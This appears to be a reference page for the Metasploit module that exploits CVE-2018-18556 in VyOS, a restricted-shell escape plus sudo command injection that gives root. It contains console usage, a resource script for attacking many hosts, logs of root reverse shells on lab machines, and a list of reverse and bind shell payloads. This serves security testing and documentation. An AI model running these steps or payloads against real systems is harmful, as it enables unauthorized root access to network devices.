VyOS restricted-shell Escape and Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/ssh/vyos_restricted_shell_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: VyOS restricted-shell Escape and Privilege Escalation
Module: exploit/linux/ssh/vyos_restricted_shell_privesc
Source code: modules/exploits/linux/ssh/vyos_restricted_shell_privesc.rb
Disclosure date: 2018-11-05
Last modification time: 2022-04-18 23:36:23 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 22
List of CVEs: CVE-2018-18556
This module exploits command injection vulnerabilities and
an insecure default sudo configuration on VyOS versions
1.0.0 <= 1.1.8 to execute arbitrary system commands as root.
VyOS features a restricted-shell system shell intended for
use by low privilege users with operator privileges. This
module exploits a vulnerability in the telnet command to
break out of the restricted shell, then uses sudo to exploit
a command injection vulnerability in
/opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl to execute
commands with root privileges. This module has been tested
successfully on VyOS 1.1.8 amd64 and VyOS 1.0.0 i386.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Basic Usage
Using vyos_restricted_shell_privesc against a single host
Normally, you can use exploit/linux/ssh/vyos_restricted_shell_privesc this way:
msf > use exploit/linux/ssh/vyos_restricted_shell_privesc
msf exploit(vyos_restricted_shell_privesc) > show targets
... a list of targets ...
msf exploit(vyos_restricted_shell_privesc) > set TARGET target-id
msf exploit(vyos_restricted_shell_privesc) > show options
... show and set options ...
msf exploit(vyos_restricted_shell_privesc) > exploit
Using vyos_restricted_shell_privesc against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your vyos_restricted_shell_privesc will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/ssh/vyos_restricted_shell_privesc")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits command injection vulnerabilities and an insecure default sudo configuration on VyOS versions 1.0.0 <= 1.1.8 to execute arbitrary system commands as root.
VyOS features a restricted-shell system shell intended for use by
low privilege users with operator privileges. This module exploits
a vulnerability in the telnet command to break out of the restricted
shell, then uses sudo to exploit a command injection vulnerability in
/opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl to execute commands
with root privileges.
This module has been tested successfully on VyOS 1.1.8 amd64 and VyOS 1.0.0 i386.
Verification Steps
Download:
- https://downloads.vyos.io/?dir=release/legacy/
Login as vyos / vyos.
Create a new user with operator privileges:
vyos@vyos:~$ configure
[edit]
vyos@vyos# set system login user jsmith full-name "John Smith"
[edit]
vyos@vyos# set system login user jsmith authentication plaintext-password password
[edit]
vyos@vyos# set system login user jsmith level operator
[edit]
vyos@vyos# commit
s[edit]
vyos@vyos# save
Saving configuration to '/config/config.boot'...
Done
Start the OpenSSH service:
vyos@vyos:~$ sudo sh
sh-4.1# service ssh start
- Start msfconsole
- Do:
use exploit/linux/ssh/vyos_restricted_shell_privesc - Do:
set RHOSTS [IP] - Do:
set USERNAME [username] - Do:
set PASSWORD [password] - Do:
set payload [payload] - Do:
set LHOST [IP] - Do:
exploit
Options
USERNAME
SSH username (default: vyos)
PASSWORD
SSH password (default: vyos)
Scenarios
VyOS 1.1.8 (amd64) - operator user
msf6 > use exploit/linux/ssh/vyos_restricted_shell_privesc
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set rhosts 172.16.191.158
rhosts => 172.16.191.158
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set username jsmith
username => jsmith
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set password password
password => password
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > check
[*] 172.16.191.158:22 - The service is running, but could not be validated. SSH service detected.
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > run
[*] Started reverse TCP handler on 172.16.191.165:4444
[*] 172.16.191.158:22 - Attempt to login to VyOS SSH ...
[+] SSH connection established
[*] Requesting PTY ...
[+] PTY successfully obtained
[*] Requesting shell ...
[+] Remote shell successfully obtained
[*] Remote system is VyOS
[*] Remote session is using restricted-shell. Attempting breakout to system shell ...
[+] Unrestricted system shell successfully obtained. Sending payload ...
[*] Command shell session 1 opened (172.16.191.165:4444 -> 172.16.191.158:36030) at 2020-09-18 11:30:49 -0400
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux vyos 3.13.11-1-amd64-vyos #1 SMP Sat Nov 11 12:10:30 CET 2017 x86_64 GNU/Linux
cat /etc/issue
Welcome to VyOS - \n \l
VyOS 1.1.8 (amd64) - admin user
msf6 > use exploit/linux/ssh/vyos_restricted_shell_privesc
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set rhosts 172.16.191.158
rhosts => 172.16.191.158
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set username vyos
username => vyos
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set password vyos
password => vyos
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > check
[*] 172.16.191.158:22 - The service is running, but could not be validated. SSH service detected.
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > run
[*] Started reverse TCP handler on 172.16.191.165:4444
[*] 172.16.191.158:22 - Attempt to login to VyOS SSH ...
[+] SSH connection established
[*] Requesting PTY ...
[+] PTY successfully obtained
[*] Requesting shell ...
[+] Remote shell successfully obtained
[*] Remote system is VyOS
[*] Remote session is using unrestricted shell. Launching system shell ...
[+] Unrestricted system shell successfully obtained. Sending payload ...
[*] Command shell session 1 opened (172.16.191.165:4444 -> 172.16.191.158:36103) at 2020-09-18 11:32:49 -0400
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux vyos 3.13.11-1-amd64-vyos #1 SMP Sat Nov 11 12:10:30 CET 2017 x86_64 GNU/Linux
cat /etc/issue
Welcome to VyOS - \n \l
Go back to menu.
Msfconsole Usage
Here is how the linux/ssh/vyos_restricted_shell_privesc exploit module looks in the msfconsole:
msf6 > use exploit/linux/ssh/vyos_restricted_shell_privesc
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > show info
Name: VyOS restricted-shell Escape and Privilege Escalation
Module: exploit/linux/ssh/vyos_restricted_shell_privesc
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2018-11-05
Provided by:
Rich Mirch
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD vyos yes SSH password
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
USERNAME vyos yes SSH username
Payload information:
Description:
This module exploits command injection vulnerabilities and an
insecure default sudo configuration on VyOS versions 1.0.0 <= 1.1.8
to execute arbitrary system commands as root. VyOS features a
`restricted-shell` system shell intended for use by low privilege
users with operator privileges. This module exploits a vulnerability
in the `telnet` command to break out of the restricted shell, then
uses sudo to exploit a command injection vulnerability in
`/opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl` to execute commands
with root privileges. This module has been tested successfully on
VyOS 1.1.8 amd64 and VyOS 1.0.0 i386.
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-18556
https://blog.vyos.io/the-operator-level-is-proved-insecure-and-will-be-removed-in-the-next-releases
https://blog.mirch.io/2018/11/05/cve-2018-18556-vyos-privilege-escalation-via-sudo-pppd-for-operator-users/
https://github.com/mirchr/security-research/blob/master/vulnerabilities/VyOS/CVE-2018-18556.sh
Module Options
This is a complete list of options available in the linux/ssh/vyos_restricted_shell_privesc exploit:
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > show options
Module options (exploit/linux/ssh/vyos_restricted_shell_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD vyos yes SSH password
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
USERNAME vyos yes SSH username
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/ssh/vyos_restricted_shell_privesc exploit:
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > show advanced
Module advanced options (exploit/linux/ssh/vyos_restricted_shell_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
GatherProof false yes Gather proof of access via pre-session shell commands
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSH_DEBUG false no Enable SSH debugging output (Extreme verbosity!)
SSH_IDENT SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 yes SSH client identification string
SSH_TIMEOUT 15 no Specify the maximum time to negotiate a SSH session
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/ssh/vyos_restricted_shell_privesc module can exploit:
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/ssh/vyos_restricted_shell_privesc exploit:
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd)
3 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
4 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
5 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
6 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
7 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
8 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
9 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
10 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
11 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
12 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
13 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
14 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
15 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
16 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
17 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
18 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
19 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
20 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
21 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
22 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
23 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
24 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
25 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
26 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
27 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
28 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
29 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
30 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
31 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
32 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
33 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
34 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
35 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
36 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
37 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
38 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
39 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
40 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
41 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
42 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
43 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
44 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
45 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
46 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
47 payload/generic/custom normal No Custom Payload
48 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
49 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/ssh/vyos_restricted_shell_privesc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- SSH service detected.
- <RHOST>:<RPORT> SSH - Connection error or address in use
- <RHOST>:<RPORT> SSH - Disconnected during negotiation
- <RHOST>:<RPORT> SSH - Timed out during negotiation
- <RHOST>:<RPORT> SSH - Authentication failed
- <RHOST>:<RPORT> SSH - Error: <E.CLASS> : <E.MESSAGE>
- <RHOST>:<RPORT> SSH - Session couldn't be established
- <RHOST>:<RPORT> SSH - Could not request PTY
- <RHOST>:<RPORT> SSH - Could not open shell
- Remote system is not VyOS
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
SSH service detected.
Here is a relevant code snippet related to the "SSH service detected." error message:
105: return CheckCode::Safe
106: rescue Net::SSH::Exception
107: return CheckCode::Safe
108: end
109:
110: CheckCode::Detected('SSH service detected.')
111: end
112:
113: def rhost
114: datastore['RHOST']
115: end
<RHOST>:<RPORT> SSH - Connection error or address in use
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Connection error or address in use" error message:
148: ssh = nil
149: ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
150: ssh = Net::SSH.start(rhost, username, opts)
151: end
152: rescue Rex::ConnectionError
153: fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
154: rescue Net::SSH::Disconnect, ::EOFError
155: fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
156: rescue ::Timeout::Error
157: fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
158: rescue Net::SSH::AuthenticationFailed
<RHOST>:<RPORT> SSH - Disconnected during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Disconnected during negotiation" error message:
150: ssh = Net::SSH.start(rhost, username, opts)
151: end
152: rescue Rex::ConnectionError
153: fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
154: rescue Net::SSH::Disconnect, ::EOFError
155: fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
156: rescue ::Timeout::Error
157: fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
158: rescue Net::SSH::AuthenticationFailed
159: fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Authentication failed")
160: rescue Net::SSH::Exception => e
<RHOST>:<RPORT> SSH - Timed out during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Timed out during negotiation" error message:
152: rescue Rex::ConnectionError
153: fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
154: rescue Net::SSH::Disconnect, ::EOFError
155: fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
156: rescue ::Timeout::Error
157: fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
158: rescue Net::SSH::AuthenticationFailed
159: fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Authentication failed")
160: rescue Net::SSH::Exception => e
161: fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Error: #{e.class} : #{e.message}")
162: end
<RHOST>:<RPORT> SSH - Authentication failed
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Authentication failed" error message:
154: rescue Net::SSH::Disconnect, ::EOFError
155: fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
156: rescue ::Timeout::Error
157: fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
158: rescue Net::SSH::AuthenticationFailed
159: fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Authentication failed")
160: rescue Net::SSH::Exception => e
161: fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Error: #{e.class} : #{e.message}")
162: end
163:
164: unless ssh
<RHOST>:<RPORT> SSH - Error: <E.CLASS> : <E.MESSAGE>
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Error: <E.CLASS> : <E.MESSAGE>" error message:
156: rescue ::Timeout::Error
157: fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
158: rescue Net::SSH::AuthenticationFailed
159: fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Authentication failed")
160: rescue Net::SSH::Exception => e
161: fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Error: #{e.class} : #{e.message}")
162: end
163:
164: unless ssh
165: fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Session couldn't be established")
166: end
<RHOST>:<RPORT> SSH - Session couldn't be established
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Session couldn't be established" error message:
160: rescue Net::SSH::Exception => e
161: fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Error: #{e.class} : #{e.message}")
162: end
163:
164: unless ssh
165: fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Session couldn't be established")
166: end
167:
168: print_good('SSH connection established')
169:
170: ssh.open_channel do |channel|
<RHOST>:<RPORT> SSH - Could not request PTY
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Could not request PTY" error message:
170: ssh.open_channel do |channel|
171: print_status('Requesting PTY ...')
172:
173: channel.request_pty do |ch, pty_success|
174: unless pty_success
175: fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not request PTY")
176: end
177:
178: print_good('PTY successfully obtained')
179:
180: print_status('Requesting shell ...')
<RHOST>:<RPORT> SSH - Could not open shell
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Could not open shell" error message:
179:
180: print_status('Requesting shell ...')
181:
182: ch.send_channel_request('shell') do |_ch, shell_success|
183: unless shell_success
184: fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not open shell")
185: end
186:
187: print_good('Remote shell successfully obtained')
188: end
189: end
Remote system is not VyOS
Here is a relevant code snippet related to the "Remote system is not VyOS" error message:
198: channel.on_data do |_ch, data|
199: return nil if payload_executed
200:
201: unless vyos_check_executed
202: unless data.downcase.include?('vyos')
203: fail_with(Failure::NotVulnerable, 'Remote system is not VyOS')
204: end
205:
206: print_status('Remote system is VyOS')
207: vyos_check_executed = true
208: next
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Related Pull Requests
References
- CVE-2018-18556
- https://blog.vyos.io/the-operator-level-is-proved-insecure-and-will-be-removed-in-the-next-releases
- https://blog.mirch.io/2018/11/05/cve-2018-18556-vyos-privilege-escalation-via-sudo-pppd-for-operator-users/
- https://github.com/mirchr/security-research/blob/master/vulnerabilities/VyOS/CVE-2018-18556.sh
See Also
Check also the following modules related to this module:
- exploit/linux/ssh/ceragon_fibeair_known_privkey
- exploit/linux/ssh/cisco_ucs_scpuser
- exploit/linux/ssh/exagrid_known_privkey
- exploit/linux/ssh/f5_bigip_known_privkey
- exploit/linux/ssh/ibm_drm_a3user
- exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey
- exploit/linux/ssh/mercurial_ssh_exec
- exploit/linux/ssh/microfocus_obr_shrboadmin
- exploit/linux/ssh/quantum_dxi_known_privkey
- exploit/linux/ssh/quantum_vmpro_backdoor
- exploit/linux/ssh/solarwinds_lem_exec
- exploit/linux/ssh/symantec_smg_ssh
- exploit/linux/ssh/vmware_vdp_known_privkey
- auxiliary/admin/networking/vyos_config
- exploit/linux/local/netfilter_nft_set_elem_init_privesc
- exploit/linux/local/ueb_bpserverd_privesc
- exploit/openbsd/local/dynamic_loader_chpass_privesc
- exploit/unix/ssh/array_vxag_vapv_privkey_privesc
- exploit/windows/local/appxsvc_hard_link_privesc
- exploit/windows/local/canon_driver_privesc
- exploit/windows/local/cve_2022_21999_spoolfool_privesc
- exploit/windows/local/gog_galaxyclientservice_privesc
- exploit/windows/local/lexmark_driver_privesc
- exploit/windows/local/microfocus_operations_privesc
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc
- exploit/windows/local/ms18_8120_win32k_privesc
- exploit/windows/local/plantronics_hub_spokesupdateservice_privesc
- exploit/windows/local/ricoh_driver_privesc
- post/networking/gather/enum_vyos
- exploit/linux/http/dreambox_openpli_shell
- exploit/linux/http/mobileiron_core_log4shell
- exploit/linux/http/mvpower_dvr_shell_exec
- exploit/linux/http/nagios_xi_autodiscovery_webshell
- exploit/linux/local/cpi_runrshell_priv_esc
Authors
- Rich Mirch
- bcoles
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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